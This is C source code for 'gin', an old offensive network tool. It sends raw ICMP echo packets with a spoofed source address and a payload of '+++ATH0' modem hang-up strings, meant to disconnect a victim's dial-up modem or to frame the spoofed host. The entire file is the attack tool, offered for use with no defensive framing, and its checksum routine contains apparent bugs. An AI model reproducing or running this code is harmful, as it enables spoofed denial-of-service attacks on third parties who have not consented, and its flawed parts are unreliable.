#define VERSION "1.2-05.05" //fixed old compiler compatibility problems
#define FRIEND "foo"
void usage( char *name );
void banner( void );
char *get_progname( char *fullname );
void done( int foo );
void gin( int port, struct sockaddr_in sin, struct sockaddr_in din );
unsigned short in_chksum( u_short *ipbuf, int iplen );
int main( int argc, char **argv )
{
struct hostent *sourceinfo, *destinfo;
struct sockaddr_in sin, din;
int sockfd, numpackets, i;
char *target, *source;
banner();
( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL;
source = argv[1];
target = argv[2];
numpackets = ( atoi( argv[3] ) );
signal( SIGINT, done );
if( ( sourceinfo = gethostbyname( source ) ) == NULL )
{
printf( "cannot resolve source host!\n" );
exit( -1 );
}
memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr,
sourceinfo->h_length );
sin.sin_family = AF_INET;
if( ( destinfo = gethostbyname( target ) ) == NULL )
{
printf( "cannot resolve destination host!\n" );
exit( -1 );
}
memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr,
destinfo->h_length );
din.sin_family = AF_INET;
if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
{
printf( "Cannot get raw socket, you must be root!\n" );
exit( -1 );
}
printf( "Source Host\t\t: %s\n", inet_ntoa( sin.sin_addr ) );
printf( "Target Host\t\t: %s\n", inet_ntoa( din.sin_addr ) );
printf( "Number\t\t\t: %d\n", numpackets );
printf( "Have some gin sucka" );
for( i = 0; i < numpackets; i++ )
gin( sockfd, sin, din );
printf( "\n\nsent %d packet%c...done\n", numpackets, ( numpackets > 1
)
? 's' : ( char )NULL );
return 0;
}
void usage( char *name )
{
printf( "usage: %s <source host> <dest host> <num packets>\n[
http://www.rootshell.com/ ] \n\n", name
);
exit( 0 );
}
void banner( void )
{
printf( "\ngin [ v%s ] /\\ by amputee\n", VERSION );
printf( "compiled for: %s\n\n", FRIEND );
}
char *get_progname( char *fullname )
{
char *retval = strrchr( fullname, '/' );
return retval ? ++retval : fullname;
}
void done( int foo )
{
puts( "Exiting...\n" );
exit( 1 );
}
void gin( int port, struct sockaddr_in sin, struct sockaddr_in din )
{
char *ginstring = "+++ATH0\r+++ATH0\r+++ATH0\r+++ATH0\r";
char *packet;
int total;
struct iphdr *ip;
struct icmphdr *icmp;
size_t msglen = sizeof( ginstring ), iphlen = sizeof( struct iphdr );
size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct
timeval );
int len = strlen( ginstring );
packet = ( char * )malloc( iphlen + icplen + len );
ip = ( struct iphdr * )packet;
icmp = ( struct icmphdr * )( packet + iphlen );
( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen
)],
( struct timezone * )NULL );
memcpy( ( packet + iphlen + icplen + timlen ), ginstring, ( len - 4 )
);
ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen );
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = din.sin_addr.s_addr;
ip->check = in_chksum( ( u_short * )ip, iphlen );
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 )
) );
total = ( iphlen + icplen + timlen + len + 16 );
sendto( port, packet, total, 0,
( struct sockaddr * )&din, sizeof( struct sockaddr ) );
free( packet );
}
// stolen from smurf
unsigned short in_chksum( u_short *ipbuf, int iplen )
{
register int nleft = iplen;
register int sum = 0;
u_short answer = 0;
while( nleft > 1 )
{
sum += *ipbuf++;
nleft -= 2;
}
if( nleft == 1 )
{
*( u_char * )( &answer ) = *( u_char * )ipbuf;
sum += answer;
}
sum = ( sum >> 16 ) + ( sum + 0xffff );
sum += ( sum >> 16 );
answer = ~sum;
return( answer );
}